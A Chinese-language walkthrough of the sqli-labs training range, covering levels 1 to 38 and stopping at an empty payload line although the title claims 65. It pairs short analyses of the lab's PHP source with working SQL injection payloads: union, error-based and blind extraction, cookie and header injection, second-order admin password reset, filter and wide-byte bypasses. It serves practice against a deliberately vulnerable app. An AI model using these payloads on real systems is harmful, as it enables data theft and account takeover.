sqli-lab注入靶場全部通關教程(1-65關)
基礎挑戰
Less-1(四個注入:聯合,報錯,時間,布爾)
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合,報錯,時間,布爾 | id='$id' |
源碼分析
# 單引號拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
聯合查詢注入
1. 注入點發現
?id=1' and '1'='2
2. 猜測字段數
?id=1' order by 3-- -
3. 判斷會顯點為(2,3)
?id=-1' union select 1,2,3-- -
4. 爆出數據庫和用戶名
?id=-1' union select 1,user(),database()-- -
5. 爆出所有數據庫名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
6. 爆出 security
數據庫的所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
7. 查看 users
表的所有列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
8. 查看 username
和 password
列的內容
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
報錯注入
1. floor報錯注入
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
2. extractvalue報錯注入
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -
3. updatexml報錯注入
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -
時間盲注
數據庫的第一個字母為115,即s
if(a,b,c):如果a為真,則這個式子值為b,否則為c
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
布爾盲注
數據庫的第一個字母為115,即s
?id=1' and (ascii(substr(database(),1,1))>114)--+
?id=1' and (ascii(substr(database(),1,1))>115)--+
Less-2
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合,布爾,時間,報錯 | id=$id |
源碼分析
# 數字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1 and 1=1-- -
Less-3
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合,報錯,時間,布爾 | id=('$id') |
源碼分析
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1') and '1'='1'-- -
Less-4
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合,報錯,時間,布爾 | id=("$id") |
源碼分析
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1") and 1=1-- -
Less-5
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,時間,布爾 | id='$id' |
源碼分析
因為頁面不輸出查詢結果,因此不可以使用聯合查詢,但是不影響報錯,布爾和時間注入。
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1' and 1=1-- -
Less-6
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 報錯,時間,布爾 | id="$id" |
源碼分析
因為頁面不輸出查詢結果,因此不可以使用聯合查詢,但是不影響報錯,布爾和時間注入。
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1" and 1=1-- -
Less-7
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 時間,布爾 | id=(('$id')) |
源碼分析
因為把print_r(mysql_error())
給注釋掉了,並且頁面不顯示查詢結果,所以只能使用布爾注入和時間注入
具體利用方法和第一關一樣,只是閉合方式不一樣,這里就不做敘述。
示例:
?id=1')) and 1=1-- -
Less-8
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 時間,布爾 | id='$id' |
源碼分析
具體方式跟第7關一樣,就不再啰嗦了,只是閉合方式不一樣。利用方法同第一關一樣。
示例:
?id=1' and 1=1-- -
Less-9
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 時間 | id='$id' |
源碼分析
因為這里不管是真
還是假
的輸出結果都一樣,所以這里就不能用布爾注入了,只能使用時間注入。
具體方式跟第8關一樣,就不再啰嗦了。利用方法同第一關一樣。
Less-10
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 時間 | id="$id" |
源碼分析
因為這里不管是真
還是假
的輸出結果都一樣,所以只能使用時間注入。並且print_r(mysql_error())
給注釋掉了,不能用報錯。具體方式跟第9關一樣,就不再啰嗦了,只是閉合方式不一樣。利用方法同第一關一樣。
Less-11
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | username='$uname' and password='$passwd' |
因為這里是POST型注入,其實利用方式還是和第一關一樣,但是這是一個POST型的,后面我估計應該都是POST型注入,所以還是寫一寫。
源碼分析
聯合查詢注入
1. 注入點發現
uname=admin' or '1'='1&passwd=12&submit=Submit
2. 猜測字段數為2
uname=admin&passwd=1' order by 2#&submit=Submit
3. 判斷會顯點為(1,2)
uname=admin&passwd=1' union select 1,2#&submit=Submit
4. 爆出數據庫和用戶名
uname=admin&passwd=1' union select user(),database()#&submit=Submit
5. 爆出所有數據庫名
uname=admin&passwd=1' union select (select group_concat(schema_name) from information_schema.schemata),2#&submit=Submit
6. 爆出 security
數據庫的所有表
uname=admin&passwd=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#&submit=Submit
7. 查看 users
表的所有列名
uname=admin&passwd=1' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#&submit=Submit
8. 查看 username
和 password
列的內容
uname=admin&passwd=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#&submit=Submit
報錯注入
1. floor報錯注入
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
2. extractvalue報錯注入
uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#&submit=Submit
3. updatexml報錯注入
uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
時間盲注
數據庫的第一個字母為115,即s
if(a,b,c):如果a為真,則這個式子值為b,否則為c
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=1&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=1&submit=Submit
布爾盲注
數據庫的第一個字母為115,即s
uname=admin' and ascii(substr(database(),1,1))>114#&passwd=1&submit=Submit
uname=admin' and ascii(substr(database(),1,1))>115#&passwd=1&submit=Submit
Less-12
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | username=("$uname") and password=("$passwd") |
源碼分析
這里同第11關的注入方式一樣,只是閉合方式不同,這里就不再示范了。
Less-13
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 報錯,布爾,時間 | username=('$uname') and password=('$passwd') |
源碼分析
這里因為頁面不管成功與否沒有了回顯,所以聯合查詢就用不了,其他的不影響,布爾查詢可以通過成功或者失敗的圖片不一樣判別。
這里同第11關的注入方式一樣,只是閉合方式不同,這里就不再示范了。
Less-14
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 報錯,布爾,時間 | username="$uname" and password="$passwd" |
源碼分析
第14關跟第13關除了閉合方式不一樣,其他的完全一樣的。利用方式也跟第11關一樣,除了不能聯合查詢之外。
Less-15
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 布爾,時間 | username='$uname' and password='$passwd' |
源碼分析
我們可以看到print_r(mysql_error())
被注釋了,所以這里我們不能用報錯注入了,因為頁面依然沒有回顯,聯合注入也不能用。這關只能用布爾注入和時間注入。跟第14關的區別就是閉合方式不一樣,然后報錯注入不能用了。
具體利用方法同第11關有異曲同工之妙,靈活變通一下即可。
Less-16
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 布爾,時間 | username=("$uname") and password=("$passwd") |
源碼分析
同第15關一樣,只是閉合方式不一樣。利用方法參考第11關,靈活變通一下即可。
Less-17
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 報錯,時間 | password = '$passwd' |
源碼分析
# uname參數進行了過濾
$uname=check_input($_POST['uname']); //check_input是代碼寫的一個過濾函數
# select語句只查詢了uname參數,但是uname被過濾了,沒什么用
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
# update語句查詢了password參數,只有這里存在注入點
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
# 然后我們看到這里使用了mysql的報錯語句,存在報錯注入
print_r(mysql_error());
報錯注入示例:
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
其實還是同第11關的方法靈活變通一下即可!
Less-18
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 報錯,時間 | VALUES ('$uagent') |
源碼分析
# 獲取請求的IP和Uagent
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
# 用戶名和密碼都被過濾了,沒什么戲了大概
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
如果SQL語句正確,就會執行下面的Insert語句 //SQL語句是判斷正確的用戶名和密碼
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
#接下來我們看到了Insert語句,它寫入了uagent和IP到數據庫中
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
接着輸出:agent
輸出:print_r(mysql_error());
這一關的注入點在Insert語句上,沒有對U-agent和IP做過濾,而且輸出了mysql的報錯信息,所以本關支持報錯注入。
PHP 獲取客戶端IP的變量有:
- $_SERVER['REMOTE_ADDR']:基本上不能被偽造,因為是直接從 TCP 連接信息中獲取的
- $_SERVER['HTTP_CLIENT_IP']:很少使用了,可以偽造
- $_SERVER['HTTP_X_FORWARDED_FOR']:可以偽造
所以這里的IP是無法被偽造的,就只能通過uagent來進行注入,我們構造閉合利用報錯注入來測試
User-Agent:1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Less-19
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 報錯,時間 | VALUES ('$uagent') |
源碼分析
這一關跟第18關的區別就是,現在注入點變成了Referer
字段,注入方式是一模一樣。同樣沒有對Referer
和IP
做過濾。
Less-20
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | username='$cookee' |
源碼分析
# 如果cookie中不存在uname參數,就會輸出一堆無用的信息
if(!isset($_COOKIE['uname']))
輸出一堆無用信息
# 然后判斷uname和passwd是否存在,並進行過濾
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 查詢username和password的值是否正確,並把username賦值給cookie
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
# 最后通過這條SQL語句直接將cookie代入數據庫中查詢,沒有過濾
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
# 把查詢的值賦給result,如果result不存在,就會輸出mysql報錯
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
這一關主要注入點是在cookie,未對cookie參數做過濾。並且在頁面存在輸出回顯,而且運用了mysql的報錯函數mysql_error()
,所以這關存在聯合查詢,報錯,布爾和時間盲注。鑒於cookie注入是第一次出現,還是啰嗦一下給個實例吧。
聯合查詢
Cookie: uname=admin' and 1=2 union select 1,2,(select group_concat(username,password) from users)#
報錯注入
Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
布爾注入和時間注入就不示范了,基本跟上面的一樣,稍微修改修改即可,自己動手寫個小腳本跑跑也可以的👻
高級注入
Less-21
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | username=('$cookee') |
源碼分析
# 如果cookie的uname參數不存在,輸出一堆無用信息
if(!isset($_COOKIE['uname']))
輸出無用信息
# 檢查用戶名和密碼是否存在,存在就進行過濾
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 然后執行SQL語句,將查詢結果賦值給row1
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
# 有查詢結果,把username賦值給cookie的uname參數
if($row1)
setcookie('uname', base64_encode($row1['username']), time()+3600);
else
print_r(mysql_error());
# 如果submit參數存在的話,把cookie的uname賦值給cookee,然后cookie經過base64編碼代入數據庫中查詢
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
我們可以看到這一關跟20關基本一模一樣,唯一的區別就是cookie base64加密之后在解密代入數據庫中查詢,所以這里我們只需要把payload經過base64加密就行了👻
聯合注入
Cookie:uname=YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMpIw==
報錯注入
Cookie:uname=YWRtaW4nKSBhbmQgKHNlbGVjdCAxIGZyb20gKHNlbGVjdCBjb3VudCgqKSxjb25jYXQodXNlcigpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhKSM=
時間注入跟布爾注入需要自行寫腳本爆破,這里就不啰嗦了,跟前面的大致一樣!
Less-22
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | username="$cookee" |
源碼分析
# 如果cookie的uname參數不存在,輸出一堆無用信息
if(!isset($_COOKIE['uname']))
輸出無用信息
# 檢查用戶名和密碼是否存在,存在就進行過濾
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 然后執行SQL語句,將查詢結果賦值給row1
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
# 有查詢結果,把username賦值給cookie的uname參數
if($row1)
setcookie('uname', base64_encode($row1['username']), time()+3600);
else
print_r(mysql_error());
# 如果submit參數存在的話,把cookie的uname賦值給cookee,然后cookie經過base64編碼代入數據庫中查詢
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
# 這里給cookee加上雙引號,然后代入數據庫查詢
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee LIMIT 0,1";
我們可以看到這一關跟21關基本一模一樣,唯一的區別就是閉合方式不同,這里是雙引號閉合,而21關是單引號+括號閉合。所以我們構造payload經過base64加密傳入,這里示范下報錯注入:
報錯注入
Cookie:uname=YWRtaW4iIGFuZCAoc2VsZWN0IDEgZnJvbSAoc2VsZWN0IGNvdW50KCopLGNvbmNhdCh1c2VyKCksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSB4KWEpIw
Less-23
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | id='$id' |
源碼分析
# 獲取id的值
$id=$_GET['id'];
# 然后將id中的 # 和 -- 替換成空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
# 然后就行SQL查詢
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 上面查詢有結果:
輸出信息
else
print_r(mysql_error());
我們發現這里對我們輸入的 id
做了過濾,將#
和--
替換成了空,我們沒法用注釋符了,我們可以構造閉合繞過。
聯合查詢
?id=-1' union select 1,(select group_concat(username,password) from security.users),3 and '1'='1
報錯查詢
?id=-1' and (SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1
Less-24
這是一個經典的二次注入的題目,下面我們來分析一下源碼,有好幾個頁面。
源碼分析
- index.php
就是一個表單頁面,沒什么敏感代碼,驗證賬號和密碼,驗證成功即可登錄,否則登陸失敗。頁面如下:
-
忘記密碼:左下角是忘記密碼
-
新建用戶:右下角是新建用戶
-
fail.php
就是如果你登陸認證失敗就將你跳轉到index.php
。
- forgot_password.php
啥也不是,就一張圖片,沒什么用!👻
- logged-in.php
登錄之后的信息顯示,顯示你的用戶名和修改密碼的表單
- new_user.php
創建新用戶的前端代碼,就是一些表單什么的
- login_create.php
創建新用戶的后端代碼:
# 對新建的用戶名,密碼,確認密碼字段進行了轉義
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 查詢用戶信息,如果用戶已注冊就無法注冊
$sql = "select count(*) from users where username='$username'";
if 用戶已存在:
彈出:<script>alert("The username Already exists, Please choose a different username ")</script>;
else
#將新建的用戶插入數據庫中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
- login.php
# 登錄的用戶名和密碼都被過濾了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
# 登陸成功跳轉到logged-in.php
- pass_change.php
# 獲取當前用戶名,然后當前密碼,新密碼和確認密碼都被安全轉義了
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
# 然后就是更新新密碼
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
我們進行一串分析發現好像都進行了轉義,咋一看沒啥注入點,實際上的確不能使用常規的思路來進行注入,因為這題是二次注入,然后再登錄即可。假設不知道 admin 用戶的情況下,想要修改掉 admin 用戶的密碼的話,這里就使用的是二次注入的姿勢了。
二次注入 :簡單概括就是黑客精心構造 SQL 語句插入到數據庫中,數據庫報錯的信息被其他類型的 SQL 語句調用的時候觸發攻擊行為。因為第一次黑客插入到數據庫的時候並沒有觸發危害性,而是再其他語句調用的時候才會觸發攻擊行為,這個就是二次注入。
先看新建用戶的地方:$username= mysql_escape_string($_POST['username']) ;
username 被 mysql_escape_string 函數過濾了,該函數的作用如下:
危險字符 | 轉義后 |
---|---|
' | \' |
" | \" |
\ | \ |
再看剛剛那個更新語句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
ok,注入點就在這一句更新sql語句中,因為在pass_change.php
中username
是直接獲取的,並沒有進行安全轉義。雖然在一開始我們注冊新用戶的時候username
被安全轉義了,但是這個只是暫時的,最后存入數據庫之后還是不變的。所以我們可以構造這樣一條更新語句從而修改管理員admin
的密碼:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass
我們在通過注冊一個用戶:admin'#123
,然后登錄這個用戶去修改密碼就可以成功修改admin
的密碼。
然后我們修改密碼,就會成功修改admin
用戶的密碼,然后就可以用新密碼登錄admin
用戶了。
Less-25
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | id='$id' |
源碼分析
# 獲取id
$id=$_GET['id'];
# id經過如下函數過濾
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
# 執行SQL語句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
這里id
輸入過濾了or
和and
,然后是單引號拼接。還是存在很多繞過的。
符號替換
or -> ||
and -> &&
雙寫嵌套繞過
比如or
寫成oorr
,password
寫成passwoorrd
等
聯合查詢
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(passwoorrd) from security.users)-- -
報錯注入
?id=1' || updatexml(1,concat(0x7e,user(),0x7e),1)-- -
Less-26
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | id='$id' |
源碼分析
# 獲取id
$id=$_GET['id'];
# id經過如下函數過濾
$id= preg_replace('/or/i',"", $id); //去掉or
$id= preg_replace('/and/i',"", $id); //去掉and
$id= preg_replace('/[\/\*]/',"", $id); //去掉/*
$id= preg_replace('/[--]/',"", $id); //去掉--
$id= preg_replace('/[#]/',"", $id); //去掉#
$id= preg_replace('/[\s]/',"", $id); //去掉空格
$id= preg_replace('/[\/\\\\]/',"", $id); //去掉\
# 執行SQL語句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我們發現這一關跟25關沒多大區別,就是黑名單數量增多了而已,過濾的東西更多了。下面我們具體分析一下:
- 過濾了 or 和 and 可以采用 雙寫或者 && || 繞過
- 過濾注釋 可以使用閉合繞過
- 過濾了空格 可以使用如下的符號來替代:
符號 | 說明 |
---|---|
%09 | TAB 鍵(水平) |
%0a | 新建一行 |
%0c | 新建一頁 |
%0d | return功能 |
%0b | TAB 鍵(垂直) |
%0a | 空格 |
報錯注入
?id=-1'%0B||%0Bupdatexml(1,concat(0x7e,user(),0x7e),1)%0Baandnd%0B'1'='1
Less-27
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,報錯,時間 | id='$id' |
源碼分析
我們可以看到27跟26關的區別就是過濾函數更多了,對就這一個區別,我們看看怎么樣繞過。
union 和 select 沒有忽略大小寫 導致寫了很多冗雜的規則,但還是可以輕易繞過。
# 大小寫混寫
uniOn
SeLeCt
...
# 雙寫繞過
ununionion
selselectect
聯合注入
?id=-100'%0BuniOn%0BSeLeCt%0B1,(selEct%0Bgroup_concat(username,password)%0Bfrom%0Bsecurity.users),3%0Band%0B'1
Less-28
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,布爾,時間 | id=('$id') |
源碼分析
# 獲取id值
$id=$_GET['id'];
# 然后經過黑名單過濾
$id= blacklist($id);
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
# SQL查詢
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
# print_r(mysql_error())函數在本關注釋了,所以沒有報錯注入
//print_r(mysql_error());
這一關就是閉合方式有一點變化,然后union select的大小寫都過濾了(兩個合起來過濾,比如union9select就不會過濾),但是我們還是可以通過雙寫繞過。
聯合查詢
?id=100%27)%0Bunion%a0SeLeCt%0B1,(select%0Bgroup_concat(username,password%0bseparator%0b0x3c62723e)%0Bfrom%0Bsecurity.users),3%0Band%0B(%271
Less-29
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id='$id' |
源碼分析
$qs = $_SERVER['QUERY_STRING']; //從URL獲取參數賦值給qs
$hint=$qs;
$id1=java_implimentation($qs); //進入java_implimentation函數
$id=$_GET['id'];
whitelist($id1);
java_implimentation功能:檢測URL的所有參數,從第一個起檢測到id之后就返回它對應的值,后面參數就不會檢測了
whitelist的功能:一個白名單,只允許輸入數字
這樣我們可以構造兩個id,第一個id經過java_implimentation
,然后這個id就會經過whitelist
檢測,第二個id就逃脫檢測了。
例如:
# 我們輸入id=1&id=2
首先$_SERVER['QUERY_STRING']會將URL的參數賦值給&qs,然后進入java_implimentation函數,這個函數會用&作為分隔符將變量賦值給一個數組,然后從頭開始遍歷,找到id就返回它的值,退出函數。所以我們這個例子首先判斷id=1,找到了id,然后返回id的值1給&id1,然后&id1經過白名單過濾
- Apache PHP 會解析最后一個參數
- Tomcat JSP 會解析第一個參數
報錯注入
?id=1&id=2' or updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)-- -
Less-30
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id="$id" |
第30關跟29關沒什么區別,就是拼接方式不一樣
聯合注入
?id=1&id=100" union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)-- -
Less-31
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id=("$id") |
這一關跟第30關沒什么區別,就是閉合方式不一樣,就不啰嗦了。
報錯注入
?id=1&id=2") or updatexml(1,concat(0x7e,user(),0x7e),1)-- -
Less-32
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id='$id' |
源碼分析
# 獲取id
if(isset($_GET['id']))
# 進行過濾
$id=check_addslashes($_GET['id']);
# 過濾代碼
function check_addslashes($string)
{
# 將\轉義為\\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
將'轉義為\'
$string = preg_replace('/\'/i', '\\\'', $string);
將"轉義為\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
寬字節注入原理
MySQL 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字。因為過濾方法主要就是在敏感字符前面添加 反斜杠 \,所以這里想辦法干掉反斜杠即可。
%df
吃點\
具體的原因是 urlencode(') =%5c%27
,我們在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c
當做是一個漢字,%27
則作為一個單獨的符號在外面,同時也就達到了我們的目的。- 將
\'
的\
過濾掉
例如可以構造%5c%5c%27
的情況,后面的%5c
會被前面的%5c
給注釋掉。這也是 bypass 的一種方法。
本關卡采用第一種%df
寬字節注入來吃掉反斜杠,下面直接丟 payload 吧:
?id=-1%df' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3--+
Less-33
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id='$id' |
源碼分析
這一關跟32關沒什么變化,拼接方式也一樣,就是過濾方法不一樣
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes()
函數返回在預定義的字符前添加反斜杠
預定義字符 | 轉義后 |
---|---|
' | ' |
" | " |
\ | \ |
該函數可用於為存儲在數據庫中的字符串以及數據庫查詢語句准備字符串,和 Less-32 的函數功能是差不的,依舊可以使用寬字節進行注入。
注意:使用 addslashes(),我們需要將 mysql_query 設置為 binary 的方式,才能防御此漏洞
Less-34
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | username='$uname' |
這一關跟33關沒什么區別,只不過是GET變成了POST數據,下面是payload:
uname=admin%df%27+union+select+1%2C(select group_concat(username,password separator 0x3c62723e) from security.users)%23&passwd=123&submit=Submit
Less-35
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id=$id |
源碼分析
# id經過check_addslashes過濾
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
# 進行SQL查詢
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
這題屬實有點搞笑,addslashes
這個是用來轉義單引號等預定義字符的,但是進行SQL查詢卻沒用到符號,直接查詢的。下面直接打payload試試:
?id=-1 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#
Less-36
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | id='$id' |
源碼分析
# 這一關主要調用了如下防護代碼
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string()
會檢測並轉義如下字符:
危險字符 | 轉義后 |
---|---|
' | ' |
" | " |
\ | \ |
有沒有發現這一關跟第34關的防護相同,是的,用34關的payload就行了。
聯合注入
?id=-1%df' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3--+
Less-37
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間 | username='$uname' |
源碼分析
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
這一關跟36關差不多,也是用的 mysql_real_escape_string
進行防護,只不過用的POST方式,直接上payload:
uname=admin%df%27+union+select+1%2C(select group_concat(username,password separator 0x3c62723e) from security.users)%23&passwd=123&submit=Submit
堆疊注入
原理介紹
MySQL 的命令行中,每一條語句以;結尾,這代表語句的結束,如果在注入過程中在;后面添加要執行的 SQL 語句的話,這種注入方式就叫做堆疊注入 (stacked injection) 。下面就是簡單的示例:
Less-38
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
POST | 聯合,報錯,布爾,時間,堆疊 | id='$id' |
源碼分析
# id 參數直接帶入到 SQL 語句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
輸出查詢信息
else:
print_r(mysqli_error($con1));
- 區別就是原來的SQL查詢是:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
- 而現在的SQL查詢是:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
payload:
